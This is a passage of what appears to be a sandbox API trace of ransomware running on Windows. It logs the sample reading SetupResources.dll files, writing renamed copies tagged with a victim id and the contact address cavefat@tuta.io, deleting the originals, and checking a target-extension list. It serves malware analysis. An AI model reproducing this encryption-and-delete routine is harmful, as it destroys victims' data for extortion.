(lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0148.402] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.402] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.402] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.402] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.402] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.402] GetLastError () returned 0x0 [0148.402] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0148.404] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0148.405] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.405] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.405] SetEndOfFile (hFile=0x2f8) returned 1 [0148.405] CloseHandle (hObject=0x2f8) returned 1 [0148.406] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.406] SetEndOfFile (hFile=0x2fc) returned 1 [0148.407] CloseHandle (hObject=0x2fc) returned 1 [0148.407] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.407] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".doc") returned 4 [0148.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".docx") returned 5 [0148.408] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.408] lstrlenW (lpString=".pdf") returned 4 [0148.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".xls") returned 4 [0148.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".xlsx") returned 5 [0148.408] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.408] lstrlenW (lpString=".ppt") returned 4 [0148.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".zip") returned 4 [0148.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".rar") returned 4 [0148.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".bz2") returned 4 [0148.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.408] lstrlenW (lpString=".7z") returned 3 [0148.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".dbf") returned 4 [0148.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".1cd") returned 4 [0148.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".jpg") returned 4 [0148.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".doc") returned 4 [0148.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".docx") returned 5 [0148.408] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.408] lstrlenW (lpString=".pdf") returned 4 [0148.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".xls") returned 4 [0148.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString=".xlsx") returned 5 [0148.408] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.408] lstrlenW (lpString=".ppt") returned 4 [0148.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.408] lstrlenW (lpString=".zip") returned 4 [0148.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.409] lstrlenW (lpString=".rar") returned 4 [0148.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.409] lstrlenW (lpString=".bz2") returned 4 [0148.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.409] lstrlenW (lpString=".7z") returned 3 [0148.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.409] lstrlenW (lpString=".dbf") returned 4 [0148.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.409] lstrlenW (lpString=".1cd") returned 4 [0148.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0148.409] lstrlenW (lpString=".jpg") returned 4 [0148.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.409] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.409] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.409] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.654] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=16728) returned 1 [0148.654] CloseHandle (hObject=0x300) returned 1 [0148.662] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0148.662] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.662] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.662] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.673] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.673] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.680] GetLastError () returned 0x0 [0148.680] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4158, lpOverlapped=0x0) returned 1 [0148.688] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4160, lpOverlapped=0x0) returned 1 [0148.689] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.689] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.690] SetEndOfFile (hFile=0x330) returned 1 [0148.690] CloseHandle (hObject=0x330) returned 1 [0148.691] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.691] SetEndOfFile (hFile=0x300) returned 1 [0148.692] CloseHandle (hObject=0x300) returned 1 [0148.692] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.692] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0148.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.692] lstrlenW (lpString=".doc") returned 4 [0148.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.692] lstrlenW (lpString=".docx") returned 5 [0148.692] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.692] lstrlenW (lpString=".pdf") returned 4 [0148.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.692] lstrlenW (lpString=".xls") returned 4 [0148.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.692] lstrlenW (lpString=".xlsx") returned 5 [0148.692] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.692] lstrlenW (lpString=".ppt") returned 4 [0148.693] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".zip") returned 4 [0148.693] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".rar") returned 4 [0148.693] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".bz2") returned 4 [0148.693] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.693] lstrlenW (lpString=".7z") returned 3 [0148.693] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".dbf") returned 4 [0148.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".1cd") returned 4 [0148.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".jpg") returned 4 [0148.693] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".doc") returned 4 [0148.693] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".docx") returned 5 [0148.693] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.693] lstrlenW (lpString=".pdf") returned 4 [0148.693] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".xls") returned 4 [0148.693] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".xlsx") returned 5 [0148.693] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.693] lstrlenW (lpString=".ppt") returned 4 [0148.693] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".zip") returned 4 [0148.693] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".rar") returned 4 [0148.693] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.693] lstrlenW (lpString=".bz2") returned 4 [0148.693] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.693] lstrlenW (lpString=".7z") returned 3 [0148.693] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".dbf") returned 4 [0148.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".1cd") returned 4 [0148.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0148.693] lstrlenW (lpString=".jpg") returned 4 [0148.693] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.694] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.694] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.694] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14168) returned 1 [0148.694] CloseHandle (hObject=0x300) returned 1 [0148.694] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0148.694] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.694] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.694] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.696] GetLastError () returned 0x0 [0148.696] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x3758, lpOverlapped=0x0) returned 1 [0148.697] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3760, lpOverlapped=0x0) returned 1 [0148.698] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.698] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.698] SetEndOfFile (hFile=0x330) returned 1 [0148.698] CloseHandle (hObject=0x330) returned 1 [0148.699] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.699] SetEndOfFile (hFile=0x300) returned 1 [0148.700] CloseHandle (hObject=0x300) returned 1 [0148.700] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.700] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".doc") returned 4 [0148.701] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".docx") returned 5 [0148.701] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.701] lstrlenW (lpString=".pdf") returned 4 [0148.701] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".xls") returned 4 [0148.701] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".xlsx") returned 5 [0148.701] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.701] lstrlenW (lpString=".ppt") returned 4 [0148.701] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".zip") returned 4 [0148.701] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".rar") returned 4 [0148.701] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".bz2") returned 4 [0148.701] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.701] lstrlenW (lpString=".7z") returned 3 [0148.701] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".dbf") returned 4 [0148.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".1cd") returned 4 [0148.701] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".jpg") returned 4 [0148.701] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".doc") returned 4 [0148.701] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".docx") returned 5 [0148.701] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.701] lstrlenW (lpString=".pdf") returned 4 [0148.701] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".xls") returned 4 [0148.701] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".xlsx") returned 5 [0148.701] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.701] lstrlenW (lpString=".ppt") returned 4 [0148.701] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.701] lstrlenW (lpString=".zip") returned 4 [0148.701] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.701] lstrlenW (lpString=".rar") returned 4 [0148.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.702] lstrlenW (lpString=".bz2") returned 4 [0148.702] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.702] lstrlenW (lpString=".7z") returned 3 [0148.702] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.702] lstrlenW (lpString=".dbf") returned 4 [0148.702] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.702] lstrlenW (lpString=".1cd") returned 4 [0148.702] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0148.702] lstrlenW (lpString=".jpg") returned 4 [0148.702] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.702] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.702] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.702] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.702] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18776) returned 1 [0148.702] CloseHandle (hObject=0x300) returned 1 [0148.702] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0148.702] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.703] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.703] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.703] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.703] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.704] GetLastError () returned 0x0 [0148.704] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0148.706] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0148.707] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.707] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.707] SetEndOfFile (hFile=0x330) returned 1 [0148.707] CloseHandle (hObject=0x330) returned 1 [0148.708] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, 